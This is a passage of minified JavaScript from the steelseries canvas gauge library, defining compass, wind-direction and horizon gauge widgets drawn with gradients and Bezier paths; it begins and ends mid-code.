olorStop(.59,t.getRgbaColor()),r.addColorStop(1,i.getRgbaColor()),n.fillStyle=r,e=b.light.getRgbaColor(),n.lineWidth=1,n.lineCap=\"square\",n.lineJoin=\"miter\",n.strokeStyle=e,n.fill(),n.stroke(),i.setAlpha(1),t.setAlpha(1),n.restore()},it=function(){pt=!0,at&&v(ut,bt,l,a,f,o),vt&&(w(ut,p,l,a,f,o),ni(ut)),ti(et),ii(et),dt(ht),yt&&y(ct,lt,f,o,!1)},ft=function(){g.width=c,g.height=c,ut=g.getContext(\"2d\"),nt.width=c,nt.height=c,et=nt.getContext(\"2d\"),rt.width=c,rt.height=c,ht=rt.getContext(\"2d\"),tt.width=c,tt.height=c,ct=tt.getContext(\"2d\")};return this.setValue=function(n){var t;t=0>n?360+n:n,t=359.9<n?n-360:n,e!==t&&(e=t,k=2*(Math.abs(e)*10%10),10<k&&(k-=20),0===e&&(h=90),0<e&&90>=e&&(h=90-e),90<e&&180>=e&&(h=e-90),180<e&&270>=e&&(h=270-e),270<e&&360>=e&&(h=e-270),0>e&&e>=-90&&(h=90-Math.abs(e)),e<-90&&e>=-180&&(h=Math.abs(e)-90),e<-180&&e>=-270&&(h=270-Math.abs(e)),e<-270&&e>=-360&&(h=Math.abs(e)-270),this.repaint())},this.getValue=function(){return e},this.setValueAnimated=function(n){360-n+e<n-e&&(n=360-n);if(e!==n){undefined!==d&&d.playing&&d.stop(),d=new Tween({},\"\",Tween.regularEaseInOut,e,n,1);var t=this;d.onMotionChanged=function(n){e=n.target._pos,k=2*(Math.abs(e)*10%10),10<k&&(k-=20),0===e&&(h=90),0<e&&90>=e&&(h=90-e),90<e&&180>=e&&(h=e-90),180<e&&270>=e&&(h=270-e),270<e&&360>=e&&(h=e-270),0>e&&e>=-90&&(h=90-Math.abs(e)),e<-90&&e>=-180&&(h=Math.abs(e)-90),e<-180&&e>=-270&&(h=270-Math.abs(e)),e<-270&&e>=-360&&(h=Math.abs(e)-270),t.repaint()},d.start()}},this.setFrameDesign=function(n){ft(),bt=n,it(),this.repaint()},this.setBackgroundColor=function(n){ft(),p=n,it(),this.repaint()},this.setForegroundType=function(n){ft(),lt=n,it(),this.repaint()},this.setPointerColor=function(n){ft(),b=n,it(),this.repaint()},this.repaint=function(){pt||it(),s.save(),s.clearRect(0,0,s.canvas.width,s.canvas.height),(at||vt)&&s.drawImage(g,0,0),ot=Math.PI/2+e*kt-Math.PI/2,s.save(),s.translate(l,a),s.rotate(ot),s.translate(-l,-a),s.drawImage(nt,0,0),s.fillStyle=p.labelColor.getRgbaColor(),s.textAlign=\"center\",s.textBaseline=\"middle\",gt?(s.restore(),s.font=st?f*.1+\"px sans-serif\":f*.15+\"px sans-serif\",s.fillText(h.toFixed(wt)+\"\\u00b0\",l,a,f*.35)):(s.font=st?f*.15+\"px sans-serif\":f*.2+\"px sans-serif\",s.fillText(h.toFixed(wt)+\"\\u00b0\",l,a,f*.35),s.restore()),s.translate(l,a),s.rotate(ot+k*Math.PI/180),s.translate(-l,-a),s.drawImage(rt,0,0),s.restore(),yt&&s.drawImage(tt,0,0),s.restore()},this.repaint(),this},gr=function(n,u){u=u||{};var o=undefined===u.size?200:u.size,pt=undefined===u.frameDesign?steelseries.FrameDesign.METAL:u.frameDesign,ct=undefined===u.frameVisible?!0:u.frameVisible,tt=undefined===u.backgroundColor?steelseries.BackgroundColor.DARK_GRAY:u.backgroundColor,dt=undefined===u.backgroundVisible?!0:u.backgroundVisible,bt=undefined===u.pointerType?steelseries.PointerType.TYPE2:u.pointerType,h=undefined===u.pointerColor?steelseries.ColorDef.RED:u.pointerColor,ei=undefined===u.knobType?steelseries.KnobType.STANDARD_KNOB:u.knobType,ui=undefined===u.knobStyle?steelseries.KnobStyle.SILVER:u.knobStyle,gt=undefined===u.foregroundType?steelseries.ForegroundType.TYPE1:u.foregroundType,at=undefined===u.foregroundVisible?!0:u.foregroundVisible,c=undefined===u.pointSymbols?[\"N\",\"NE\",\"E\",\"SE\",\"S\",\"SW\",\"W\",\"NW\"]:u.pointSymbols,fi=undefined===u.customLayer?null:u.customLayer,ii=undefined===u.degreeScale?!1:u.degreeScale,yt=undefined===u.roseVisible?!0:u.roseVisible,d,p=0,st=Math.PI/180,ht=this.value,s=r.getElementById(n).getContext(\"2d\");s.save(),s.clearRect(0,0,s.canvas.width,s.canvas.height),s.canvas.width=o,s.canvas.height=o;var f=o,e=o,a=f/2,l=e/2,kt=!1,ft=t(o,o),g=ft.getContext(\"2d\"),ut=t(o,o),ti=ut.getContext(\"2d\"),it=t(o,o),lt=it.getContext(\"2d\"),ot=t(o,o),b=ot.getContext(\"2d\"),et=t(o,o),vt=et.getContext(\"2d\"),ri=function(n){var t,r,u;n.textAlign=\"center\",n.textBaseline=\"middle\",n.save(),n.strokeStyle=tt.labelColor.getRgbaColor(),n.fillStyle=tt.labelColor.getRgbaColor(),n.translate(a,l);if(ii)for(t=.08*f+\"px serif\",r=f*.033+\"px serif\",n.rotate(st*10),i=10;360>=i;i+=10){n.save();switch(i){case 360:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(c[2],0,0,f),n.translate(-f*.35,0);break;case 90:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(c[4],0,0,f),n.translate(-f*.35,0);break;case 180:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(c[6],0,0,f),n.translate(-f*.35,0);break;case 270:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(c[0],0,0,f),n.translate(-f*.35,0);break;default:u=(i+90)%360,n.translate(f*.37,0),n.rotate(Math.PI/2),n.font=r,n.fillText(\"0\".substring(u>=100)+u,0,0,f),n.translate(-f*.37,0)}n.restore(),n.rotate(st*10)}else for(t=.12*f+\"px serif\",r=.06*f+\"px serif\",i=0;360>i;i+=2.5){0==i%5&&(n.lineWidth=1,n.beginPath(),n.moveTo(f*.38,0),n.lineTo(f*.36,0),n.closePath(),n.stroke()),n.save();switch(i){case 0:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(c[2],0,0,f),n.translate(-f*.35,0);break;case 45:n.translate(f*.29,0),n.rotate(Math.PI/2),n.font=r,n.fillText(c[3],0,0,f),n.translate(-f*.29,0);break;case 90:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(c[4],0,0,f),n.translate(-f*.35,0);break;case 135:n.translate(f*.29,0),n.rotate(Math.PI/2),n.font=r,n.fillText(c[5],0,0,f),n.translate(-f*.29,0);break;case 180:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(c[6],0,0,f),n.translate(-f*.35,0);break;case 225:n.translate(f*.29,0),n.rotate(Math.PI/2),n.font=r,n.fillText(c[7],0,0,f),n.translate(-f*.29,0);break;case 270:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(c[0],0,0,f),n.translate(-f*.35,0);break;case 315:n.translate(f*.29,0),n.rotate(Math.PI/2),n.font=r,n.fillText(c[1],0,0,f),n.translate(-f*.29,0)}n.restore(),yt&&(0===i||22.5===i||45===i||67.5===i||90===i||112.5===i||135===i||157.5===i||180===i||202.5===i||225===i||247.5===i||270===i||292.5===i||315===i||337.5===i||360===i)&&(n.save(),n.beginPath(),i%45?n.moveTo(f*.29,0):n.moveTo(f*.38,0),n.lineTo(f*.1,0),n.closePath(),n.restore(),n.lineWidth=1,n.strokeStyle=tt.symbolColor.getRgbaColor(),n.stroke()),n.rotate(st*2.5)}n.translate(-a,-l),n.restore()},wt=function(n,t){var o,s,l,i,r,u,c;n.save(),t&&(n.fillStyle=\"rgba(0, 0, 0, 0.5)\",n.strokeStyle=\"rgba(0, 0, 0, 0.5)\");switch(bt.type){case\"type2\":n.beginPath(),n.moveTo(f*.53271,e*.453271),n.bezierCurveTo(f*.53271,e*.453271,f*.5,e*.149532,f*.5,e*.149532),n.bezierCurveTo(f*.5,e*.149532,f*.467289,e*.453271,f*.467289,e*.453271),n.bezierCurveTo(f*.453271,e*.462616,f*.443925,e*.481308,f*.443925,e*.5),n.bezierCurveTo(f*.443925,e*.5,f*.556074,e*.5,f*.556074,e*.5),n.bezierCurveTo(f*.556074,e*.481308,f*.546728,e*.462616,f*.53271,e*.453271),n.closePath(),t||(o=n.createLinearGradient(.471962*f,0,.528036*f,0),o.addColorStop(0,h.light.getRgbaColor()),o.addColorStop(.46,h.light.getRgbaColor()),o.addColorStop(.47,h.medium.getRgbaColor()),o.addColorStop(1,h.medium.getRgbaColor()),n.fillStyle=o,n.strokeStyle=h.dark.getRgbaColor()),n.lineWidth=1,n.lineCap=\"square\",n.lineJoin=\"miter\",n.fill(),n.stroke(),n.beginPath(),n.moveTo(f*.467289,e*.546728),n.bezierCurveTo(f*.467289,e*.546728,f*.5,e*.850467,f*.5,e*.850467),n.bezierCurveTo(f*.5,e*.850467,f*.53271,e*.546728,f*.53271,e*.546728),n.bezierCurveTo(f*.546728,e*.537383,f*.556074,e*.518691,f*.556074,e*.5),n.bezierCurveTo(f*.556074,e*.5,f*.443925,e*.5,f*.443925,e*.5),n.bezierCurveTo(f*.443925,e*.518691,f*.453271,e*.537383,f*.467289,e*.546728),n.closePath(),t||(s=n.createLinearGradient(.471962*f,0,.528036*f,0),s.addColorStop(0,\"#e3e5e8\"),s.addColorStop(.48,\"#e3e5e8\"),s.addColorStop(.48,\"#abb1b8\"),s.addColorStop(1,\"#abb1b8\"),n.fillStyle=s,l=\"#abb1b8\",n.strokeStyle=l),n.lineWidth=1,n.lineCap=\"square\",n.lineJoin=\"miter\",n.fill(),n.stroke();break;case\"type3\":n.beginPath(),n.moveTo(f*.5,e*.149532),n.bezierCurveTo(f*.5,e*.149532,f*.443925,e*.490654,f*.443925,e*.5),n.bezierCurveTo(f*.443925,e*.53271,f*.467289,e*.556074,f*.5,e*.556074),n.bezierCurveTo(f*.53271,e*.556074,f*.556074,e*.53271,f*.556074,e*.5),n.bezierCurveTo(f*.556074,e*.490654,f*.5,e*.149532,f*.5,e*.149532),n.closePath(),t||(i=n.createLinearGradient(.471962*f,0,.528036*f,0),i.addColorStop(0,h.light.getRgbaColor()),i.addColorStop(.46,h.light.getRgbaColor()),i.addColorStop(.47,h.medium.getRgbaColor()),i.addColorStop(1,h.medium.getRgbaColor()),n.fillStyle=i,n.strokeStyle=h.dark.getRgbaColor()),n.lineWidth=1,n.lineCap=\"square\",n.lineJoin=\"miter\",n.fill(),n.stroke();break;case\"type1:\":default:n.beginPath(),n.moveTo(f*.5,e*.495327),n.lineTo(f*.528037,e*.495327),n.lineTo(f*.5,e*.149532),n.lineTo(f*.471962,e*.495327),n.lineTo(f*.5,e*.495327),n.closePath(),t||(r=n.createLinearGradient(.471962*f,0,.528036*f,0),r.addColorStop(0,h.light.getRgbaColor()),r.addColorStop(.46,h.light.getRgbaColor()),r.addColorStop(.47,h.medium.getRgbaColor()),r.addColorStop(1,h.medium.getRgbaColor()),n.fillStyle=r,n.strokeStyle=h.dark.getRgbaColor()),n.lineWidth=1,n.lineCap=\"square\",n.lineJoin=\"miter\",n.fill(),n.stroke(),n.beginPath(),n.moveTo(f*.5,e*.504672),n.lineTo(f*.471962,e*.504672),n.lineTo(f*.5,e*.850467),n.lineTo(f*.528037,e*.504672),n.lineTo(f*.5,e*.504672),n.closePath(),t||(u=n.createLinearGradient(.471962*f,0,.528036*f,0),u.addColorStop(0,\"#e3e5e8\"),u.addColorStop(.48,\"#e3e5e8\"),u.addColorStop(.480099,\"#abb1b8\"),u.addColorStop(1,\"#abb1b8\"),n.fillStyle=u,c=\"#abb1b8\",n.strokeStyle=c),n.lineWidth=1,n.lineCap=\"square\",n.lineJoin=\"miter\",n.fill(),n.stroke()}t&&blur(n,f,e,Math.floor(f*.006)),n.restore()},k=function(){kt=!0,ct&&v(g,pt,a,l,f,e),dt&&(w(g,tt,a,l,f,e),rt(g,fi,a,l,f,e),yt&&hi(g,a,l,f,e,tt),ri(g)),wt(ti,!1),wt(lt,!0),at&&y(vt,gt,f,e,!0,ei,ui)},nt=function(){ft.width=o,ft.height=o,g=ft.getContext(\"2d\"),ut.width=o,ut.height=o,ti=ut.getContext(\"2d\"),it.width=o,it.height=o,lt=it.getContext(\"2d\"),ot.width=o,ot.height=o,b=ot.getContext(\"2d\"),et.width=o,et.height=o,vt=et.getContext(\"2d\")};return this.setValue=function(n){n=n%360,p!==n&&(p=n,this.repaint())},this.getValue=function(){return p},this.setValueAnimated=function(n){var i=n%360,r=this,t;p!==i&&(undefined!==d&&d.playing&&d.stop(),t=ni(p,i),d=new Tween({},\"\",Tween.elasticEaseOut,p,p+t,2),d.onMotionChanged=function(n){p=n.target._pos%360,r.repaint()},d.start())},this.setFrameDesign=function(n){nt(),pt=n,k(),this.repaint()},this.setBackgroundColor=function(n){nt(),tt=n,k(),this.repaint()},this.setForegroundType=function(n){nt(),gt=n,k(),this.repaint()},this.setPointerColor=function(n){nt(),h=n,k(),this.repaint()},this.setPointerType=function(n){nt(),bt=n,k(),this.repaint()},this.setPointSymbols=function(n){nt(),c=n,k(),this.repaint()},this.repaint=function(){kt||k(),s.clearRect(0,0,s.canvas.width,s.canvas.height),(ct||dt)&&s.drawImage(ft,0,0),ht=Math.PI/2+p*st-Math.PI/2;var n=f*.006;b.clearRect(0,0,f,e),b.save(),b.translate(a,l),b.rotate(ht),b.translate(-a,-l),b.drawImage(it,0,0),b.restore(),s.drawImage(ot,0,0,f,e,n,n,f+n,e+n),s.save(),s.translate(a,l),s.rotate(ht),s.translate(-a,-l),s.drawImage(ut,0,0),s.restore(),at&&s.drawImage(et,0,0),s.restore()},this.repaint(),this},iu=function(n,u){u=u||{};var o=undefined===u.size?200:u.size,pi=undefined===u.frameDesign?steelseries.FrameDesign.METAL:u.frameDesign,di=undefined===u.frameVisible?!0:u.frameVisible,k=undefined===u.backgroundColor?steelseries.BackgroundColor.DARK_GRAY:u.backgroundColor,gi=undefined===u.backgroundVisible?!0:u.backgroundVisible,dt=undefined===u.pointerTypeLatest?steelseries.PointerType.TYPE1:u.pointerTypeLatest,ri=undefined===u.pointerTypeAverage?steelseries.PointerType.TYPE8:u.pointerTypeAverage,kt=undefined===u.pointerColor?steelseries.ColorDef.RED:u.pointerColor,ii=undefined===u.pointerColorAverage?steelseries.ColorDef.BLUE:u.pointerColorAverage,kr=undefined===u.knobType?steelseries.KnobType.STANDARD_KNOB:u.knobType,dr=undefined===u.knobStyle?steelseries.KnobStyle.SILVER:u.knobStyle,si=undefined===u.foregroundType?steelseries.ForegroundType.TYPE1:u.foregroundType,ir=undefined===u.foregroundVisible?!0:u.foregroundVisible,a=undefined===u.pointSymbols?[\"N\",\"NE\",\"E\",\"SE\",\"S\",\"SW\",\"W\",\"NW\"]:u.pointSymbols,vr=undefined===u.customLayer?null:u.customLayer,wr=undefined===u.degreeScale?!0:u.degreeScale,nr=undefined===u.roseVisible?!1:u.roseVisible,ht=undefined===u.lcdColor?steelseries.LcdColor.STANDARD:u.lcdColor,fr=undefined===u.lcdVisible?!0:u.lcdVisible,pr=undefined===u.digitalFont?!1:u.digitalFont,et=undefined===u.section?null:u.section,ft=undefined===u.area?null:u.area,ti=undefined===u.lcdTitleStrings?[\"Latest\",\"Average\"]:u.lcdTitleStrings,rr=undefined===u.titleString?\"\":u.titleString,tr=undefined===u.useColorLabels?!1:u.useColorLabels,ut,st,it=0,g=0,ct=Math.PI/180,ei=this.valueLatest,fi=this.valueAverage,ar=-Math.PI/2,bi=Math.PI*2,ur=360,e=r.getElementById(n).getContext(\"2d\");e.save(),e.clearRect(0,0,e.canvas.width,e.canvas.height),e.canvas.width=o,e.canvas.height=o;var f=o,s=o,c=f/2,h=s/2,ui=Math.floor(f/10),br=ui+\"px sans-serif\",gr=ui+\"px \"+tt,gt=f*.3,er=s*.12,hr=(f-gt)/2,or=s*.32,cr=s*.565,sr=!1,bt=t(o,o),d=bt.getContext(\"2d\"),oi,at=t(o,o),ci=at.getContext(\"2d\"),vt=t(o,o),li=vt.getContext(\"2d\"),yt=t(o,o),ai=yt.getContext(\"2d\"),lt=t(o,o),ki=lt.getContext(\"2d\"),ot=t(o,o),l=ot.getContext(\"2d\"),wt=t(o,o),yi=wt.getContext(\"2d\"),vi=function(n,t){e.save(),e.textAlign=\"center\",e.strokeStyle=ht.textColor,e.fillStyle=ht.textColor,n<0&&(n+=360),n=\"00\"+Math.round(n),n=n.substring(n.length,n.length-3),(ht===steelseries.LcdColor.STANDARD||ht===steelseries.LcdColor.STANDARD_GREEN)&&(e.shadowColor=\"gray\",e.shadowOffsetX=f*.007,e.shadowOffsetY=f*.007,e.shadowBlur=f*.007),e.font=pr?gr:br,e.fillText(n+\"\\u00b0\",f/2+gt*.05,(t?or:cr)+er*.5+ui*.38,gt*.9),e.restore()},wi=function(n,t,i,r,u){n.save(),n.strokeStyle=r,n.fillStyle=r,n.lineWidth=f*.035;var e=bi/ur*t,o=e+(i-t)/(ur/bi);n.translate(c,h),n.rotate(ar),n.beginPath(),u?(n.moveTo(0,0),n.arc(0,0,f*.365-n.lineWidth/2,e,o,!1)):n.arc(0,0,f*.365,e,o,!1),u?(n.moveTo(0,0),n.fill()):n.stroke(),n.translate(-c,-h),n.restore()},lr=function(n){var l,o;n.textAlign=\"center\",n.textBaseline=\"middle\";var s=f*.38,v=f*.35,w=f*.355,p=f*.36,e=f*.1,y=f*.31,r=f*.36,t,u;n.save(),n.strokeStyle=k.labelColor.getRgbaColor(),n.fillStyle=k.labelColor.getRgbaColor(),n.translate(c,h);if(wr)for(t=Math.floor(.1*f)+\"px serif bold\",u=Math.floor(f*.04)+\"px sans-serif\",n.rotate(ct*5),i=5;360>=i;i+=5){n.save();switch(i){case 360:n.translate(r,0),n.rotate(Math.PI/2),n.font=t,n.fillText(a[2],0,0,e),n.translate(-r,0);break;case 90:n.translate(r,0),n.rotate(Math.PI/2),n.font=t,n.fillText(a[4],0,0,e),n.translate(-r,0);break;case 180:n.translate(r,0),n.rotate(Math.PI/2),n.font=t,n.fillText(a[6],0,0,e),n.translate(-r,0);break;case 270:n.translate(r,0),n.rotate(Math.PI/2),n.font=t,n.fillText(a[0],0,0,e),n.translate(-r,0);break;case 5:case 85:case 95:case 175:case 185:case 265:case 275:case 355:break;default:(i+90)%20?(n.lineWidth=(i+90)%5?1.5:1,n.beginPath(),n.moveTo(s,0),l=(i+90)%10?p:v,n.lineTo(l,0),n.closePath(),n.stroke()):(n.lineWidth=1.5,n.beginPath(),n.moveTo(s,0),n.lineTo(v,0),n.closePath(),n.stroke(),o=(i+90)%360,n.translate(y,0),n.rotate(Math.PI/2),n.font=u,n.fillText(\"0\".substring(o>=100)+o,0,0,e),n.translate(-y,0))}n.restore(),n.rotate(ct*5)}else for(t=.12*f+\"px serif\",u=.06*f+\"px serif\",n.lineWidth=1,n.strokeStyle=k.symbolColor.getRgbaColor(),i=0;360>i;i+=2.5){0==i%5&&(n.beginPath(),n.moveTo(f*.38,0),n.lineTo(f*.36,0),n.closePath(),n.stroke()),n.save();switch(i){case 0:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(a[2],0,0),n.translate(-f*.35,0);break;case 45:n.translate(f*.29,0),n.rotate(Math.PI/2),n.font=u,n.fillText(a[3],0,0),n.translate(-f*.29,0);break;case 90:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(a[4],0,0),n.translate(-f*.35,0);break;case 135:n.translate(f*.29,0),n.rotate(Math.PI/2),n.font=u,n.fillText(a[5],0,0),n.translate(-f*.29,0);break;case 180:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(a[6],0,0),n.translate(-f*.35,0);break;case 225:n.translate(f*.29,0),n.rotate(Math.PI/2),n.font=u,n.fillText(a[7],0,0),n.translate(-f*.29,0);break;case 270:n.translate(f*.35,0),n.rotate(Math.PI/2),n.font=t,n.fillText(a[0],0,0),n.translate(-f*.35,0);break;case 315:n.translate(f*.29,0),n.rotate(Math.PI/2),n.font=u,n.fillText(a[1],0,0),n.translate(-f*.29,0)}n.restore(),nr&&(0===i||22.5===i||45===i||67.5===i||90===i||112.5===i||135===i||157.5===i||180===i||202.5===i||225===i||247.5===i||270===i||292.5===i||315===i||337.5===i||360===i)&&(n.save(),n.beginPath(),i%45?n.moveTo(f*.29,0):n.moveTo(f*.38,0),n.lineTo(f*.1,0),n.closePath(),n.restore(),n.stroke()),n.rotate(ct*2.5)}n.translate(-c,-h),n.restore()},yr=function(n){ti.length>0&&(n.save(),n.textAlign=\"center\",n.textBaseline=\"middle\",n.fillStyle=tr?kt.medium.getRgbaColor():k.labelColor.getRgbaColor(),n.font=.04*f+\"px sans-serif\",n.fillText(ti[0],f/2,s*.29,f*.3),n.fillStyle=tr?ii.medium.getRgbaColor():k.labelColor.getRgbaColor(),n.fillText(ti[1],f/2,s*.71,f*.3),rr.length>0&&(n.fillStyle=k.labelColor.getRgbaColor(),n.font=.0467*f+\"px sans-serif\",n.fillText(rr,f/2,s*.5,f*.3)))},b=function(n){var t,i,u;n=n||{};var o=undefined===n.frame?!1:n.frame,r=undefined===n.background?!1:n.background,e=undefined===n.pointer?!1:n.pointer,l=undefined===n.foreground?!1:n.foreground;sr=!0,o&&di&&v(d,pi,c,h,f,s);if(r&&gi){w(d,k,c,h,f,s),rt(d,vr,c,h,f,s);if(null!==et&&0<et.length){t=et.length;do t--,wi(d,et[t].start,et[t].stop,et[t].color,!1);while(0<t)}if(null!==ft&&0<ft.length){i=ft.length;do i--,wi(d,ft[i].start,ft[i].stop,ft[i].color,!0);while(0<i)}lr(d)}r&&nr&&hi(d,c,h,f,s,k),r&&fr&&(oi=p(gt,er,ht),d.drawImage(oi,hr,or),d.drawImage(oi,hr,cr),yr(d)),e&&(nt(ai,f,ri,ii,k.labelColor),nt(ki,f,ri,kt,k.labelColor,!0),nt(ci,f,dt,kt,k.labelColor),nt(li,f,dt,kt,k.labelColor,!0)),l&&ir&&(u=dt.type===\"type15\"||dt.type===\"type16\"?!1:!0,y(yi,si,f,s,u,kr,dr))},pt=function(n){n=n||{};var r=undefined===n.background?!1:n.background,i=undefined===n.pointer?!1:n.pointer,t=undefined===n.foreground?!1:n.foreground;r&&(bt.width=o,bt.height=o,d=bt.getContext(\"2d\")),i&&(at.width=o,at.height=o,ci=at.getContext(\"2d\"),vt.width=o,vt.height=o,li=vt.getContext(\"2d\"),yt.width=o,yt.height=o,ai=yt.getContext(\"2d\"),lt.width=o,lt.height=o,ki=lt.getContext(\"2d\"),ot.width=o,ot.height=o,l=ot.getContext(\"2d\")),t&&(wt.width=o,wt.height=o,yi=wt.getContext(\"2d\"))};return this.setValueLatest=function(n){n=n===360?360:n%360,it!==n&&(it=n,this.repaint())},this.getValueLatest=function(){return it},this.setValueAverage=function(n){n=n%360,g!==n&&(g=n,this.repaint())},this.getValueAverage=function(){return g},this.setValueAnimatedLatest=function(n){var t=n===360?360:n%360,i,r;it!==t&&(i=this,undefined!==ut&&ut.playing&&ut.stop(),r=ni(it,t),ut=new Tween({},\"\",Tween.regularEaseInOut,it,it+r,2.5),ut.onMotionChanged=function(n){it=n.target._pos%360,i.repaint()},t===360&&(ut.onMotionFinished=function(){it=t,i.repaint()}),ut.start())},this.setValueAnimatedAverage=function(n){var i=n===360?360:n%360,t,r;g!==n&&(t=this,undefined!==st&&st.playing&&st.stop(),r=ni(g,i),st=new Tween({},\"\",Tween.regularEaseInOut,g,g+r,2.5),st.onMotionChanged=function(n){g=n.target._pos%360,t.repaint()},i===360&&(ut.onMotionFinished=function(){g=i,t.repaint()}),st.start())},this.setArea=function(n){ft=n,b({background:!0}),this.repaint()},this.setSection=function(n){et=n,b({background:!0}),this.repaint()},this.setFrameDesign=function(n){pi=n,b({frame:!0,background:!0}),this.repaint()},this.setBackgroundColor=function(n){k=n,b({frame:!0,background:!0}),this.repaint()},this.setForegroundType=function(n){pt({foreground:!0}),si=n,b({foreground:!0}),this.repaint()},this.setPointerColor=function(n){pt({pointer:!0}),kt=n,b({pointer:!0}),this.repaint()},this.setPointerColorAverage=function(n){pt({pointer:!0}),ii=n,b({pointer:!0}),this.repaint()},this.setPointerType=function(n){pt({pointer:!0}),dt=n,b({pointer:!0}),this.repaint()},this.setPointerTypeAverage=function(n){pt({pointer:!0}),ri=n,b({pointer:!0}),this.repaint()},this.setPointSymbols=function(n){a=n,b({frame:!0,background:!0}),this.repaint()},this.setLcdColor=function(n){ht=n,b({background:!0}),this.repaint()},this.setLcdTitleStrings=function(n){ti=n,b({background:!0}),this.repaint()},this.repaint=function(){sr||b({frame:!0,background:!0,led:!0,pointer:!0,foreground:!0}),e.clearRect(0,0,e.canvas.width,e.canvas.height),(di||gi)&&e.drawImage(bt,0,0),fr&&(vi(it,!0),vi(g,!1)),fi=Math.PI/2+g*ct-Math.PI/2;var n=f*.006;l.clearRect(0,0,f,s),l.save(),l.translate(c,h),l.rotate(fi),l.translate(-c,-h),l.drawImage(lt,0,0),l.restore(),e.drawImage(ot,0,0,f,s,n,n,f+n,s+n),e.save(),e.translate(c,h),e.rotate(fi),e.translate(-c,-h),e.drawImage(yt,0,0),e.restore(),ei=Math.PI/2+it*ct-Math.PI/2,l.clearRect(0,0,f,s),l.save(),l.translate(c,h),l.rotate(ei),l.translate(-c,-h),l.drawImage(vt,0,0),l.restore(),e.drawImage(ot,0,0,f,s,n,n,f+n,s+n),e.save(),e.translate(c,h),e.rotate(ei),e.translate(-c,-h),e.drawImage(at,0,0),e.restore(),ir&&e.drawImage(wt,0,0)},this.repaint(),this},ru=function(n,i){i=i||{};var o=undefined===i.size?200:i.size,lt=undefined===i.frameDesign?steelseries.FrameDesign.METAL:i.frameDesign,vt=undefined===i.frameVisible?!0:i.frameVisible,st=undefined===i.foregroundType?steelseries.ForegroundType.TYPE1:i.foregroundType,yt=undefined===i.foregroundVisible?!0:i.foregroundVisible,nt=undefined===i.pointerColor?steelseries.ColorDef.WHITE:i.pointerColor,w,b,h=0,s=0,ot=Math.PI*o/360,et=0,g=!1,e=r.getElementById(n).getContext(\"2d\");e.save(),e.clearRect(0,0,e.canvas.width,e.canvas.height),e.canvas.width=o,e.canvas.height=o;var u=o,f=o,l=u/2,c=f/2,ct=!1,k=t(o,o),ht=k.getContext(\"2d\"),p=t(o,o*Math.PI),ft=p.getContext(\"2d\"),a=t(o*.037383,o*.056074),ut=a.getContext(\"2d\"),d=t(o,o),tt=d.getContext(\"2d\"),pt=function(n){var t,u,i,f,h;n.save(),t=o,u=o*Math.PI,n.beginPath(),n.rect(0,0,t,u),n.closePath(),f=n.createLinearGradient(0,0,0,u),f.addColorStop(0,\"#7fd5f0\"),f.addColorStop(.5,\"#7fd5f0\"),f.addColorStop(.5,\"#3c4439\"),f.addColorStop(1,\"#3c4439\"),n.fillStyle=f,n.fill(),n.lineWidth=1;var s=u/72,e=!1,r=10;for(n.textAlign=\"center\",n.textBaseline=\"middle\",h=t*.04,n.font=h+\"px sans-serif\",n.fillStyle=\"#37596e\",i=u/2-s;i>0;i-=s)r>90||(e?(n.fillText(r,(t-t*.2)/2-8,i,t*.375),n.fillText(r,t-(t-t*.2)/2+8,i,t*.375),n.beginPath(),n.moveTo((t-t*.2)/2,i),n.lineTo(t-(t-t*.2)/2,i),n.closePath(),r+=10):(n.beginPath(),n.moveTo((t-t*.1)/2,i),n.lineTo(t-(t-t*.1)/2,i),n.closePath()),n.stroke()),e^=!0;for(e=!1,r=10,n.strokeStyle=\"#FFFFFF\",n.lineWidth=1.5,n.beginPath(),n.moveTo(0,u/2),n.lineTo(t,u/2),n.closePath(),n.stroke(),n.fillStyle=\"#FFFFFF\",n.lineWidth=1,i=u/2+s;i<=u;i+=s)r>90||(e?(n.fillText(-r,(t-t*.2)/2-8,i,t*.375),n.fillText(-r,t-(t-t*.2)/2+8,i,t*.375),n.beginPath(),n.moveTo((t-t*.2)/2,i),n.lineTo(t-(t-t*.2)/2,i),n.closePath(),r+=10):(n.beginPath(),n.moveTo((t-t*.1)/2,i),n.lineTo(t-(t-t*.1)/2,i),n.closePath()),n.stroke()),e^=!0;n.restore()},wt=function(n){var i,r,t;for(n.save(),n.fillStyle=nt.light.getRgbaColor(),n.beginPath(),n.moveTo(u*.476635,f*.5),n.bezierCurveTo(u*.476635,f*.514018,u*.485981,f*.523364,u*.5,f*.523364),n.bezierCurveTo(u*.514018,f*.523364,u*.523364,f*.514018,u*.523364,f*.5),n.bezierCurveTo(u*.523364,f*.485981,u*.514018,f*.476635,u*.5,f*.476635),n.bezierCurveTo(u*.485981,f*.476635,u*.476635,f*.485981,u*.476635,f*.5),n.closePath(),n.moveTo(u*.415887,f*.504672),n.lineTo(u*.415887,f*.495327),n.bezierCurveTo(u*.415887,f*.495327,u*.467289,f*.495327,u*.467289,f*.495327),n.bezierCurveTo(u*.471962,f*.481308,u*.481308,f*.471962,u*.495327,f*.467289),n.bezierCurveTo(u*.495327,f*.467289,u*.495327,f*.415887,u*.495327,f*.415887),n.lineTo(u*.504672,f*.415887),n.bezierCurveTo(u*.504672,f*.415887,u*.504672,f*.467289,u*.504672,f*.467289),n.bezierCurveTo(u*.518691,f*.471962,u*.528037,f*.481308,u*.53271,f*.495327),n.bezierCurveTo(u*.53271,f*.495327,u*.584112,f*.495327,u*.584112,f*.495327),n.lineTo(u*.584112,f*.504672),n.bezierCurveTo(u*.584112,f*.504672,u*.53271,f*.504672,u*.53271,f*.504672),n.bezierCurveTo(u*.528037,f*.518691,u*.518691,f*.53271,u*.5,f*.53271),n.bezierCurveTo(u*.481308,f*.53271,u*.471962,f*.518691,u*.467289,f*.504672),n.bezierCurveTo(u*.467289,f*.504672,u*.415887,f*.504672,u*.415887,f*.504672),n.c